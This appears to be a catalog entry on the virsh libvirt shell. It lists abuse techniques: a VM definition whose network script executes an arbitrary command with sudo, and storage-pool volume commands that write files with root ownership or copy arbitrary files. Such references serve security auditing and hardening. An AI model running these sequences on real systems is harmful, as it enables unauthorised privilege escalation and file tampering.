Libvirt shell for managing virtual machines; can execute commands and spawn shells.
virsh virsh Sandbox: execFile · Timeout: 30s
security.execution.command system.file.write Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Execute arbitrary commands (sudo)
cat >/path/to/temp-file.xml <<EOF
<domain type='kvm'>
<name>x</name>
<os>
<type arch='x86_64'>hvm</type>
</os>
<memory unit='KiB'>1</memory>
<devices>
<interface type='ethernet'>
<script path='/path/to/command'/>
</interface>
</devices>
</domain>
EOF
virsh -c qemu:///system create /path/to/temp-file.xml
virsh -c qemu:///system destroy x Write to arbitrary files (sudo, unprivileged)
echo DATA >/path/to/temp-file
cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
<name>y</name>
<key>/path/to/output-dir/output-file</key>
<source>
</source>
<capacity unit='bytes'>5</capacity>
<allocation unit='bytes'>4096</allocation>
<physical unit='bytes'>5</physical>
<target>
<path>/path/to/output-dir/output-file</path>
<format type='raw'/>
<permissions>
<mode>0600</mode>
<owner>0</owner>
<group>0</group>
</permissions>
</target>
</volume>
EOF
virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x Write to arbitrary files (sudo, unprivileged)
virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x virsh is a command-line utility. Libvirt shell for managing virtual machines; can also execute arbitrary commands, write to arbitrary files.